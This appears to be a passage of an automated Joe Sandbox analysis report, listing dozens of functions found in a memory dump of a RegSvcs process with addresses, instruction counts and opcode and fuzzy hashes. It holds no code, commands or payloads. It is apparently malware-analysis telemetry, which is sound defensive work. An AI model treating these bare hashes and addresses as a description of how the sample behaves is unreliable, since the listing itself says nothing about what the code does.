                                                          • Instruction ID: 94353ca7f28b36692cb34104fb8ad66534e152f3d9b184e3edbd35639491b494
                                                          • Opcode Fuzzy Hash: 09d204908d37cdfbcfc5d4a721560e7c3d6986de64c378e18d154b12347e5c6c
                                                          • Instruction Fuzzy Hash: 00F0E53A2043559BEF16DF19C050A997BE4FB52350F0100A6F8528F361E731E982CB90
                                                          Function 015049D0 Relevance: .0, Instructions: 28COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f1b670d1cf9650df618e53f56da6216e466ca8c332a8d3f17e7fbf4f9511b07c
                                                          • Instruction ID: 22414f13543a3a90c035bb994d8ae685ae655e8f06117f3b4308fef1fe9e7d1f
                                                          • Opcode Fuzzy Hash: f1b670d1cf9650df618e53f56da6216e466ca8c332a8d3f17e7fbf4f9511b07c
                                                          • Instruction Fuzzy Hash: D3E09232244145ABD7222A998800B7A77E7BBE07A0F150429E7008F190DBB4DC80D798
                                                          Function 015A4164 Relevance: .0, Instructions: 27COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 00ede3f9091e9c4c5e020c11b03d549a1062135ea80efbbf16f95013c25a4452
                                                          • Instruction ID: 8631122b09db4740665fabc848d1aab4929fd026ae83fb6dad2f33fd42bf14fe
                                                          • Opcode Fuzzy Hash: 00ede3f9091e9c4c5e020c11b03d549a1062135ea80efbbf16f95013c25a4452
                                                          • Instruction Fuzzy Hash: B0F0A031AA56914FE762D7A8E144B5D77E4BB20A20FCE0565D4118F912C3A0EC40C650
                                                          Function 0157678E Relevance: .0, Instructions: 27COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 9c57e87189bc66aa7caf2535f5315d36853ca328742cb6eaba8c93c68780cd6a
                                                          • Instruction ID: 59ee64e1dfca167f0fce947e1f54c454483bf58110ea13f8ec7bd9822019f9ac
                                                          • Opcode Fuzzy Hash: 9c57e87189bc66aa7caf2535f5315d36853ca328742cb6eaba8c93c68780cd6a
                                                          • Instruction Fuzzy Hash: 4FE0DF72A00510BBEB22A7998D06F9ABEADEBA0EA0F050055B600EB0E0E530DE04D690
                                                          Function 015A08C0 Relevance: .0, Instructions: 25COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c6a5ad91a7d0f1a4d9806dabaf8f22ecb250b1deeb68cfbfcde1a852261f70b4
                                                          • Instruction ID: 5188f1eaef47c74a0e1803324351bbc49c4b9ab55cafb207fe3deef71105bfa3
                                                          • Opcode Fuzzy Hash: c6a5ad91a7d0f1a4d9806dabaf8f22ecb250b1deeb68cfbfcde1a852261f70b4
                                                          • Instruction Fuzzy Hash: 63E09B316D07518BCB258A1DC140A5FB7E8FFE5660F55806DE9054B653C231F842C6D4
                                                          Function 014D25E0 Relevance: .0, Instructions: 23COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 5a7678a07abec20036bf65f2ed8ed23fcd2a42053667c9130a03e0680c53e644
                                                          • Instruction ID: b95d05cd96d268db09933c94946998b4249d93cb979e93603b685469b2cd76e2
                                                          • Opcode Fuzzy Hash: 5a7678a07abec20036bf65f2ed8ed23fcd2a42053667c9130a03e0680c53e644
                                                          • Instruction Fuzzy Hash: B4E09232100A549BC722FF2ADD11F9A77AAFFB0360F11451AF1565B1A0CA30A950C794
                                                          Function 0158A456 Relevance: .0, Instructions: 23COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 1c3962ef014767a9d047a1ce435ecdb8fc5cd5a05dfca32f291fec24eb47eca0
                                                          • Instruction ID: 300d968be3002795e742220c525395faaec72757c8c3cec83082b285cfdc2432
                                                          • Opcode Fuzzy Hash: 1c3962ef014767a9d047a1ce435ecdb8fc5cd5a05dfca32f291fec24eb47eca0
                                                          • Instruction Fuzzy Hash: 60E06D31010A12DBEB326F2AC808B567AE1BFA0711F14882EA1962A5B0C7759890CA40
                                                          Function 01554000 Relevance: .0, Instructions: 22COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d217a6aac874400d2fdd0dd0cc4ad7a97c57c110d53f39d941a96e3fabb04b1b
                                                          • Instruction ID: 583b6bc5a4efb0a26804f3cc7763f16301fcf67de0491559dd5a7768834f115a
                                                          • Opcode Fuzzy Hash: d217a6aac874400d2fdd0dd0cc4ad7a97c57c110d53f39d941a96e3fabb04b1b
                                                          • Instruction Fuzzy Hash: C7E0C2343003058FE755CF19C054B667BB6BFD5A10F28C069A9488F209EB32E882CB40
                                                          Function 0150CA38 Relevance: .0, Instructions: 22COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2c31c54c59d139499466a4e02d52d506c41fe2cc489e3899ae309c121b1addf6
                                                          • Instruction ID: 41809f3ada2dc6e0122c5ac5ba17b99411a6702a7a496a36771d78f4eeae0c58
                                                          • Opcode Fuzzy Hash: 2c31c54c59d139499466a4e02d52d506c41fe2cc489e3899ae309c121b1addf6
                                                          • Instruction Fuzzy Hash: B9D02B324810206ECB37E7997C04FA73A9ABB61320F0248A5F108DA0A1D5A4CCC192D4
                                                          Function 014C823B Relevance: .0, Instructions: 21COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2b708af5a461c1f99ac8d3b2cba32ed51933f6cdd1bf79975374bbcdf42faac7
                                                          • Instruction ID: fc504c5e94356e932cdcec0e8144a28966dc0f2837dad9203137e6821795f144
                                                          • Opcode Fuzzy Hash: 2b708af5a461c1f99ac8d3b2cba32ed51933f6cdd1bf79975374bbcdf42faac7
                                                          • Instruction Fuzzy Hash: A3E08636100512DED7332F15DC04B5176A2FB94F10F20482EE0811A0B887709882DA44
                                                          Function 014D2050 Relevance: .0, Instructions: 20COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a561a134851ebfd3abf763b56074ab72077a78d4f33a57d623708fa55d478efc
                                                          • Instruction ID: e065f49e48b87b4f25a5c3c932a0e15472bcf196d07cf69faac92c4d7143f1a7
                                                          • Opcode Fuzzy Hash: a561a134851ebfd3abf763b56074ab72077a78d4f33a57d623708fa55d478efc
                                                          • Instruction Fuzzy Hash: 94E08C321005506BC612FE6EDD10E5A739AEFB4260F05012AF1558B6A4CA70AD40C7A4
                                                          Function 01508A90 Relevance: .0, Instructions: 20COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 4861f5a381a69e507ddb33788bd9690c3cd67957beffc440e81982ecee0e9c4e
                                                          • Instruction ID: 932875af401995156b4bfdfcff7e80dd2c6b098cd8c91162aec32d981d222d61
                                                          • Opcode Fuzzy Hash: 4861f5a381a69e507ddb33788bd9690c3cd67957beffc440e81982ecee0e9c4e
                                                          • Instruction Fuzzy Hash: EEE08633511A1487C729DE58D511B7677E4FF45730F09463EA6134B7C1C574E544C794
                                                          Function 0150E59C Relevance: .0, Instructions: 16COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
                                                          • Instruction ID: 193582ebc7f2eac908f9647358350ca243b5a8b5eb6a5c0bde14791cb9264f98
                                                          • Opcode Fuzzy Hash: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
                                                          • Instruction Fuzzy Hash: F9D0A7331045105BD7329A1DFC04FC333D8BB58725F050459B005C7050C370EC41C644
                                                          Function 0154E908 Relevance: .0, Instructions: 16COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6e9bfb4306c29fdb1c5fce9039323a2740af754b7679fb8de59faa530781556d
                                                          • Instruction ID: 963d06fdb15f87efe730a570349c7afb9d133d15f3975a779179bf0445fd3b6b
                                                          • Opcode Fuzzy Hash: 6e9bfb4306c29fdb1c5fce9039323a2740af754b7679fb8de59faa530781556d
                                                          • Instruction Fuzzy Hash: 07E0EC369506849BDF16DF5AC645F5EBBF5FB94B40F150458A1486F661C738ED00CB40
                                                          Function 014CA0E3 Relevance: .0, Instructions: 15COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c1fe28d2b99599f70fe9b16ebd98ffdfbd128d642cd65cc2bf81b3ea4870f6a7
                                                          • Instruction ID: 43dcaa9ff0c9c54277acbb0cb6599524ec17dd80922bc867e83f82bbab860b94
                                                          • Opcode Fuzzy Hash: c1fe28d2b99599f70fe9b16ebd98ffdfbd128d642cd65cc2bf81b3ea4870f6a7
                                                          • Instruction Fuzzy Hash: 3BD0223321203093CB295A566C04F636905ABC0EE0F2A006E340B93920C4248C43C2E0
                                                          Function 0150A830 Relevance: .0, Instructions: 14COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 950ff3e2fa24c389401d46e2ae40292d2d63fe10973766e9e1870c80e88d3a0a
                                                          • Instruction ID: 048764984c608ac5d89e9262d0580910de489a759e9e02807b8cc859bc80e8a8
                                                          • Opcode Fuzzy Hash: 950ff3e2fa24c389401d46e2ae40292d2d63fe10973766e9e1870c80e88d3a0a
                                                          • Instruction Fuzzy Hash: 34D012371D054DBBCB129F66DC01F957BA9E764BA0F444021B505875A0C63AE960D584
                                                          Function 0150CA24 Relevance: .0, Instructions: 14COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6c37b6e6cf7f26a788381156566ad3974d352d35497e0e336ef3f6e924ee98a9
                                                          • Instruction ID: 13965ac6718f858214e5ac954b5e8f2240a11eda37831a96912e7649875d9a92
                                                          • Opcode Fuzzy Hash: 6c37b6e6cf7f26a788381156566ad3974d352d35497e0e336ef3f6e924ee98a9
                                                          • Instruction Fuzzy Hash: 8AD0A730901401CFDF27CF89C514D3E36B0FF10644B4000ACFB015A520D334EC41C620
                                                          Function 014E02A0 Relevance: .0, Instructions: 13COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
                                                          • Instruction ID: ef096eb4192f4c6452da7d7786720b3a65656a9dd327e144f9fa525fe2936e17
                                                          • Opcode Fuzzy Hash: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
                                                          • Instruction Fuzzy Hash: B0D09235312A80CFD61A8B0CC5A8B1633E4BB84A45F854891E441CBB22D67CD940CA00
                                                          Function 0150C700 Relevance: .0, Instructions: 12COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a4bbd7c5c996c6314633515492723e329d7ccf5f4dcb798370ffde6045762c53
                                                          • Instruction ID: df485641772f3da298ab75f43090e50fb8a9d7b295817c1ff22c82e257d07a37
                                                          • Opcode Fuzzy Hash: a4bbd7c5c996c6314633515492723e329d7ccf5f4dcb798370ffde6045762c53
                                                          • Instruction Fuzzy Hash: 1EC01233290648AFC712AE9ACD01F027BA9EBA8B40F000062F2058B670C631E820EA84
                                                          Function 014F0310 Relevance: .0, Instructions: 11COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
                                                          • Instruction ID: dca5a2d6ae681735812cf7244de0f8f4732506ef314cf7aeb821abb3ee6fc3a1
                                                          • Opcode Fuzzy Hash: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
                                                          • Instruction Fuzzy Hash: 47D01236100248EFCB01DF41C890D9A772BFBD8710F10801DFD19077118A31ED62DA50
                                                          Function 014D0750 Relevance: .0, Instructions: 9COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
                                                          • Instruction ID: 33b1d6b29412af72733465422159031e91a2cfc3301978b7da868ed7179ba16b
                                                          • Opcode Fuzzy Hash: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
                                                          • Instruction Fuzzy Hash: F9C0487A701A468FEF16DF6AD298F4977E4FB54741F1508D0E805DBB22E624E802CA10
                                                          Function 01514340 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b6377a3a86af0bc0e7512a2e1dfb85958fdb40b497e2690737ec41536a2ddc69
                                                          • Instruction ID: 0e74f45ba3330aa6a04f2cbb6d37eb632975e13cdf02d8462bf0250d48745c72
                                                          • Opcode Fuzzy Hash: b6377a3a86af0bc0e7512a2e1dfb85958fdb40b497e2690737ec41536a2ddc69
                                                          • Instruction Fuzzy Hash: C7900233605810129140719848855464085B7E1311B59C411E0424958CCF548A565361
                                                          Function 01514650 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d55cdb76a4222f3211e0f1a015b60de3c730793d6a411a5a13051725e2fa50d4
                                                          • Instruction ID: bed4222f2f87978376faae576112baf0c6facba3460c6770fe8ab651af726998
                                                          • Opcode Fuzzy Hash: d55cdb76a4222f3211e0f1a015b60de3c730793d6a411a5a13051725e2fa50d4
                                                          • Instruction Fuzzy Hash: CB900263601510424140719848054066085B7E2311399C515E0554964CCB5889559369
                                                          Function 01512BF0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 81801164d23cf59d08c149bb1a71f4aca223489b2d673249f94951d154387731
                                                          • Instruction ID: 1934f930a232dc92ef440a15fc8b14c7979f31e503ad26da16c5b64f6b56527d
                                                          • Opcode Fuzzy Hash: 81801164d23cf59d08c149bb1a71f4aca223489b2d673249f94951d154387731
                                                          • Instruction Fuzzy Hash: 8090023320141802D1807198440564A0085A7D2311F99C415E0025A58DCF558B5977A1
                                                          Function 01512BE0 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 50ec63ccee268cc71c0a539a322bd62011a486fdd77350fb9191680ade2a9e27
                                                          • Instruction ID: b3f265c01bf0d15e972cf30da22265e1741079a4a31de6f4cad34f91d8951bd3
                                                          • Opcode Fuzzy Hash: 50ec63ccee268cc71c0a539a322bd62011a486fdd77350fb9191680ade2a9e27
                                                          • Instruction Fuzzy Hash: 9A90023320545842D14071984405A460095A7D1315F59C411E0064A98DDB658E55B761
                                                          Function 01512B80 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: cdea6a22c8f262f3028c2ed8d67c47db7c0f4e8a5c85fad3417c3b436769f5c9
                                                          • Instruction ID: b118aa7529a380050fce8ed3dc374359f3281bd4911549f290b779a629c1a3de
                                                          • Opcode Fuzzy Hash: cdea6a22c8f262f3028c2ed8d67c47db7c0f4e8a5c85fad3417c3b436769f5c9
                                                          • Instruction Fuzzy Hash: 1E90023320141802D104719848056860085A7D1311F59C411E6024A59EDBA589917231
                                                          Function 01512BA0 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 30e0422d8ca470213092d52a1511b51bb1127264095bf97e22d7a09b71948b24
                                                          • Instruction ID: 70598df207111df58a0a9b12f47f9296285ebeb1014bb12530ee007d733bb655
                                                          • Opcode Fuzzy Hash: 30e0422d8ca470213092d52a1511b51bb1127264095bf97e22d7a09b71948b24
                                                          • Instruction Fuzzy Hash: 4D90023360541802D150719844157460085A7D1311F59C411E0024A58DCB958B5577A1
                                                          Function 01512AD0 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: dc364620fd0f96325dccb29825d742d80d10fa6d3238cdf027f1041a4c4b6347
                                                          • Instruction ID: 629636a56e54d37908792dc64237e0c7da13391470373d7ea8ef93fb6addd7b5
                                                          • Opcode Fuzzy Hash: dc364620fd0f96325dccb29825d742d80d10fa6d3238cdf027f1041a4c4b6347
                                                          • Instruction Fuzzy Hash: 07900227211410030105B598070550700C6A7D6361359C421F1015954CDB6189615221
                                                          Function 01512AF0 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c1842cb700b21349fca61bb663838124efbeaeb56b950b58cf5d7ed608c20516
                                                          • Instruction ID: 0be8690bbc2cc805fc3bc1612e54f83f65d021fd4ceb591dab7060dcde8fb703
                                                          • Opcode Fuzzy Hash: c1842cb700b21349fca61bb663838124efbeaeb56b950b58cf5d7ed608c20516
                                                          • Instruction Fuzzy Hash: 79900227221410020145B598060550B04C5B7D7361399C415F1416994CCB6189655321
                                                          Function 01512AB0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f621127ff82c50f1fbed4f876e186fc75082c49e77c6ba0c0f77bef06e984e4a
                                                          • Instruction ID: aeb0991c809532ed1b9d99e26a6934e52412ce477797586aeb9f309dbea3d882
                                                          • Opcode Fuzzy Hash: f621127ff82c50f1fbed4f876e186fc75082c49e77c6ba0c0f77bef06e984e4a
                                                          • Instruction Fuzzy Hash: FA9002A3201550924500B2988405B0A4585A7E1211B59C416E1054964CCA6589519235
                                                          Function 01512D10 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 4f01c0e44c81892306a2585e3a3175e3aee90fba5e0d88cd71abae7f5d05f520
                                                          • Instruction ID: a25bc4eb16a9f04d593ed1e4ef75fa59e6d7046d43f6f6114b43cbdfb60ee8e9
                                                          • Opcode Fuzzy Hash: 4f01c0e44c81892306a2585e3a3175e3aee90fba5e0d88cd71abae7f5d05f520
                                                          • Instruction Fuzzy Hash: 0290022B21341002D1807198540960A0085A7D2212F99D815E001595CCCE5589695321
                                                          Function 01512D00 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c23fe7f425c66411ab4c1f0361e4e0ccbc9ba30390d59b6c8dcdd25612c5492a
                                                          • Instruction ID: 86ace95c683631b804d47928c1b62927b9906003ac634661fd86881cda1b30e4
                                                          • Opcode Fuzzy Hash: c23fe7f425c66411ab4c1f0361e4e0ccbc9ba30390d59b6c8dcdd25612c5492a
                                                          • Instruction Fuzzy Hash: 0490022320545442D10075985409A060085A7D1215F59D411E1064999DCB758951A231
                                                          Function 01512D30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e7838a52577ac87e2c8b0d4fa8ea90eca9a72c95b5ea0d15710b4e82ff534f7d
                                                          • Instruction ID: 34a2aca7a5c065cd132aaf4e745309523c9b431ed2d9def032296600e3ebf46a
                                                          • Opcode Fuzzy Hash: e7838a52577ac87e2c8b0d4fa8ea90eca9a72c95b5ea0d15710b4e82ff534f7d
                                                          • Instruction Fuzzy Hash: D290022330141003D140719854196064085F7E2311F59D411E0414958CDE5589565322
